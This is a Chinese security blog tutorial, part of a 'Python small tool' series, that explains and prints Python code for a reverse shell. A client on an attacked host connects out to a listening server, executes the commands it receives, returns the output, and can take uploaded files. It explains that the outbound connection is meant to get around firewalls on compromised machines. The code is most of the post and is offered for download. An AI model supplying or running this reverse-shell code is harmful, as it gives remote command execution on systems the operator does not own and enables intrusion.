python小工具学习连载-反向shell

admin 2021年12月11日17:02:18未分类 安全开发评论64 views3528字阅读11分45秒阅读模式

python小工具学习连载

-反向shell-

在上一集的文章中,我们完成了一个类似瑞士军刀的工具,我们将该工具上传到被攻击的目标主机上后,可以通过主动连接被攻击者去获取shell,但是在大多数情况下,我们的正向连接,很可能会因为防火墙等设备导致正向连接失败,比如我在mac下开启了mac的防火墙后,则windows无法主动连接成功我的mac。这个时候,就需要反向的shell来帮助我们。其实反向shell的原理也十分简单,原来我们是服务器调用命令执行的模块,而这次我们客户端去调用命令执行的模块,客户端首先主动连接服务器,然后我们在服务器端输入命令,发送给客户端,由客户端执行后返回给服务器。

工具效果

还是先上截图:

服务器端,开启监听 9999端口

python小工具学习连载-反向shell
Snipaste_2021-12-10_17-07-22

客户端主动尝试连接服务器。

python小工具学习连载-反向shell
Snipaste_2021-12-10_17-07-49

可以看到,我们的服务器首先在接受到客户端的请求后,弹出来命令输入到地方,然后将命令发送给客户端执行,并返回了执行的结果,上传文件也同理,可以看到成功上传了我们上一次的正向代理的脚本代码。

实现原理

其实这个工具的实现原理基本和上一次的正连接相同。

还是首先在主函数,判断用户启动的是客户端还是服务端。

    # 判断是听还是发送数据
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        client_sender()
    if listen:
        server_loop()

我们首先启动服务器端。

def server_loop():
    global target

    # 如果没有定义目标,那么要监听所有端口
    if not len(target):
        target = "0.0.0.0"

    # 创建socket连接
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(((target,port)))

    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        # 给一个线程用来处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()

可以看到,服务器端首先开启监听所有端口,然后进入一个死循环,不断等待接受连接,并给新的连接分配线程,每个线程调用的都是客户端的处理函数。

def client_handler(client_socket):
     while True:
            recv_len = 1
            response = bytes("",encoding="utf-8")

            while recv_len:
                data = client_socket.recv(4096)
                recv_len = len(data)
                response += data
                if recv_len < 4096:
                    break
            
            print(response)

            # 等待更多输入
            buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += 'n'
            buffer = bytes(buffer,encoding="utf-8")

            # 客户端发送数据
            client_socket.send(buffer)

然后在处理函数中,首先接受客户端发送的消息,然后提示用户输入内容,并发送给客户端。这里的处理,其实就是正向连接中,客户端对收到服务器连接成功信息后的处理结果。

此时,我们的服务器会重复接受客户端的信息,提示用户输入信息,将用户输入的信息发送给客户端这3个步骤。

然后我们来看客户端。

def client_sender():
    global upload
    global command
    # 创建socket连接
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        # 尝试连接到目标主机
        client.connect((target,port))
    
        client.send(bytes("connect success!",encoding="utf-8"))
        while True:
            cmd_buffer = bytes("",encoding="utf-8")
            while b"n" not in cmd_buffer:
                cmd_buffer+=client.recv(4096)
            if 'upload_file=' in str(cmd_buffer): 
                upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
                f = open(upload_file,'w')
                f.write(str(cmd_buffer).split('=')[2][0:-3])
                f.close()
                response = bytes('upload success!',encoding='utf-8')
            else:
                # 返还命令输出
                response = run_command(cmd_buffer)
            # 返回响应数据
            client.send(response)
    except:
        print("程序执行错误或用户主动退出!")

客户端首先尝试连接服务器,在连接到服务器后向服务器发送连接成功的信息,之后循环接受服务器发送到信息,并将其处理执行,而后将返回结果再发送给服务器。

这样就完成了反向的shell命令执行,其实代码基本没有变化,只不过是代码的位置发生了调换而已。

当然还有一点,上次没有说到,就是我们为什么服务器处理客户端端信息,使用的是客户端的socket呢,这个其实是因为,服务器首先可以接受到多个客户端的连接,而为了分辨要给那个客户端发送信息,所以服务器会在收到连接请求的时候,获取到客户端的socket信息,然后通过这个socket,就可以将不同客户端的信息发送给其对应的客户端。

最后,哪里来获取这个小工具的源码呢,大家可以在我的github上进行下载,也可以公众号回复nc进行获取。

https://github.com/haochen1204/python_hacktool_study

原文始发于微信公众号(藏剑安全):python小工具学习连载-反向shell

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月11日17:02:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  python小工具学习连载-反向shell https://cn-sec.com/archives/671460.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: